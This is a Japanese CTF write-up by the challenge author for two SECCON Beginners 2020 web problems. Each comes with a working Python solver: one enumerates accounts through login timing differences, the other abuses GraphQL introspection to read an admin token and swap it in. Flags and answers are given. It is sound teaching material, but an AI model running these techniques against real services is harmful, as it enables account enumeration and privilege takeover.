SECCON Beginners CTF 2020 writeup (Web/Spy & Web/profiler)

はじめに

SECCON Beginners CTF 2020において、運営・作問チームとしてWebカテゴリの Spy 及び profiler の作問を行いました。楽しんでいただけたのでしたら幸いです。

以下はwriteupです。

[Beginner] Spy (55pts / 441solves)

処理の時間差を利用したAccount Enumerationの問題です。

配布されたファイルから以下のことが分かります。

  • /に対してnamepasswordをPOSTすることでログインが可能である。
  • nameがデータベース内に存在する場合、passwordが正しいかチェックされる。なお、このチェックにおいては、入力値にソルトを付加した上で、ストレッチング(ハッシュ値を複数回計算するの意)が行われる。
  • /challengeにおいて、正しいアカウントの組合せを選択できればFLAGが取得できる。
  • 各レスポンスにおいて処理時間が返却されている。

本問の目的は、何らかのアカウントにログインすることではなく、存在するアカウントを列挙することです。

さて、前述の通り、入力されたnameに対応するアカウントが存在した(つまり、if not existsではなかった)場合、以下の処理が行われます。

if not exists:
    return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

# auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
# You know, it's really secure... isn't it? :-)
hashed_password = auth.calc_password_hash(app.SALT, password)
if hashed_password != account.password:
    return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

ポイントは、ストレッチングの処理はある程度の時間を要することです。つまり、アカウントが存在しない場合は処理時間が短い一方で、アカウントが存在する場合はストレッチングのための処理時間がある程度かかります。

そこで、従業員リストに掲載されている各従業員の名前をnameに入力してみます。すると、いくつかのリクエストにおいて他のリクエストよりもレスポンスまでの時間が長いものが存在することが分かるので、後はどの従業員名を入力した場合に処理時間が有意に長くなるのかを調べれば良いです。

なお、上記を手作業で行うのは煩雑であるため、適宜スクリプトを組むか、BurpのIntruderのような機能を用いると簡便に解くことができます。

以下にソルバーの例を示します。

import os

import requests
from bs4 import BeautifulSoup


def enumarate_accounts():
    session = requests.Session()
    employees = [
        "Arthur", "Barbara", "Christine", "David", "Elbert", 
        "Franklin", "George", "Harris", "Ivan", "Jane", 
        "Kevin", "Lazarus", "Marc", "Nathan", "Oliver", 
        "Paul", "Quentin", "Randolph", "Scott", "Tony", 
        "Ulysses", "Vincent", "Wat", "Ximena", "Yvonne", "Zalmon"
    ]

    T = []
    for employee in employees:
        response = session.post(f"http://spy.quals.beginners.seccon.jp/", {"name": f"{employee}", "password": "x"})
        soup = BeautifulSoup(response.text, "html.parser")
        consume = float(soup.select('p')[0].text.split()[2])

        T.append((employee, consume))

    T.sort(key=lambda t: t[1], reverse=True)

    maxdiff = 0
    maxdiff_i = -1
    for i in range(1, len(T)):
        if abs(T[i][1] - T[i-1][1]) > maxdiff:
            maxdiff = abs(T[i][1] - T[i-1][1])
            maxdiff_i = i

    return sorted([employee for employee, consume in T[:maxdiff_i]])


def solve(accounts):
    response = requests.post(f"http://spy.quals.beginners.seccon.jp/challenge", {"answer": accounts})
    soup = BeautifulSoup(response.text, "html.parser")
    print(f"[*] FLAG: {soup.select('#message')[0].text}")


def main():
    accounts = enumarate_accounts()
    print(f"[*] Registered accounts: {', '.join(accounts)}")
    solve(accounts)


if __name__ == '__main__':
    main()

答えは、Elbert George Lazarus Marc Tony Ximena Yvonneの組み合わせでした。

FLAG: ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}

[Medium] profiler (301pts / 59solves)

本問について、競技開始後に何度か問題サーバが停止する不具合が発生しました。ご迷惑をおかけし申し訳ございませんでした。

--

GraphQL Injectionの問題です。

問題のアプリケーションにアカウントを登録すると、トークンが表示されます。また、登録した情報を用いてアカウントにログインすると、以下の表示が行われます。

  • 名前
  • ID(@付きで表示)
  • プロフィール(初期値は空)
  • Profileフォーム
  • Tokenフォーム
  • Updateボタン
  • Get FLAGボタン
  • Logoutボタン

さて、適当な値をProfileフォームに入れてUpdateボタンを押すとエラーメッセージが表示されます。そこで、アカウント登録時に表示されたトークンを入力した上でUpdateボタンを押すと、正しくプロフィール欄が更新されることが分かります。

また、Get FLAGボタンを押して/flagにアクセスすると、トークンがadminのものではないというエラーが表示されます。しかしながら、アプリケーションにはadminのトークンを閲覧する機能や、トークンを上書きする機能は見当たりません。

では、プロフィールの更新やフラグ取得の際に、その裏側ではどのような通信が行われているのでしょうか。ブラウザの開発者ツールからやり取りされる通信を見ると、プロフィール更新時には以下のようなデータがPOSTされていることが分かります。

query: "mutation {
  updateProfile(profile: "Hello, profiler!", token: "980ac...f4e8a4ac")
}"

また、フラグ取得時には以下のデータがPOSTされていることが分かります。

query: "query {
  flag 
}"

querymutationなどのキーワードから調べると、上記はGraphQL APIとやりとりしている通信であることが分かります。

さて、GraphQLにおいては、イントロスペクションクエリという特殊なクエリを送信することで、(イントロスペクションクエリの実行が拒否されていない以上は)APIで定義されているエンドポイントやデータのスキーマを閲覧することができます。

では、定義内容を確認してみましょう。例として、GraphQL Playgroundというツールをインストールし、APIのエンドポイントであるURLを指定すると、自動的にインスペクションクエリを送信した上で、スキーマを可視化してくれます。

Docsのタブを見ると、me, someone, flagというqueryと、updateProfile, updateTokenというmutationが定義されていることが分かります。 f:id:Szarny:20200524134041p:plain

また、updateTokenを詳しく見てみると、updateToken(token String!): Boolean!と定義されています。

これは、tokenという文字列型の非NULL値を受けとり、ブール型の値を返すというエンドポイントです。このエンドポイントを利用すると、自身のトークンをadminのトークンに変更できそうなことが推察できます。 f:id:Szarny:20200524134050p:plain

では、adminのトークンはどのように知ることができるのでしょうか。もう一度queryの欄を見ると、someone(uid: ID!): Userというqueryが定義されていることが分かります。これは、uidというID型(重複しない文字列)の非NULL値を受けとり、User型の値を返すというエンドポイントです。また、User型にはuid, name, profile, tokenというフィールドが存在することが分かります。 f:id:Szarny:20200524134103p:plain

上記からsomeone(uid: String!)クエリを用いて特定のユーザの情報を取得できることが推察されます。

そこで、以下のクエリを送信してみましょう。

query {
  someone(uid: "admin") {
    token
  }
}

このクエリのレスポンスadminのトークンがわかるため、updateToken(token: "adminのtoken")を送信し、自身のトークンをadminのものに置き換えた上で/flagのページにアクセスするとFLAGが取得できます。

以下にソルバーの例を示します。

import os
import random
import json
from hashlib import sha256

import requests


url = "http://profiler.quals.beginners.seccon.jp"
uid = sha256(str(random.random()).encode()).hexdigest()
password = sha256(str(random.random()).encode()).hexdigest()
name = sha256(str(random.random()).encode()).hexdigest()
session = requests.Session()
admin_token = None


def register():
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data = f"uid={uid}&password={password}&name={name}"
    response = session.post(url+"/register", headers=headers, data=data)


def login():
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data = f"uid={uid}&password={password}"
    response = session.post(url+"/login", headers=headers, data=data)


def get_admin_token():
    global admin_token

    headers = {
        "Content-Type": "application/json"
    }
    data = {
        "query": """query {
            someone(uid: "admin") {
                token
            }
        }"""
    }
    response = session.post(url+"/api", headers=headers, data=json.dumps(data)) 
    admin_token = response.json()["data"]["someone"]["token"]


def update_token():
    headers = {
        "Content-Type": "application/json"
    }
    data = {
        "query": """mutation {{
            updateToken(token: "{admin_token}")
        }}""".format(admin_token=admin_token)
    }
    response = session.post(url+"/api", headers=headers, data=json.dumps(data))


def get_flag():
    headers = {
        "Content-Type": "application/json"
    }
    data = {
        "query": """query {
            flag
        }"""
    }
    response = session.post(url+"/api", headers=headers, data=json.dumps(data)) 
        
    print(f"[*] FLAG: {response.json()['data']['flag']}")


def main():
    register()
    login()
    get_admin_token()
    update_token()
    get_flag()


if __name__ == '__main__':
    main()

FLAG: ctf4b{plz_d0_n07_4cc3p7_1n7r05p3c710n_qu3ry}

--

なお、自身でイントロスペクションクエリを送信した上で、そのレスポンスを可視化することもできます。以下の記事を参考にして下さい。

GraphQL — Common vulnerabilities & how to exploit them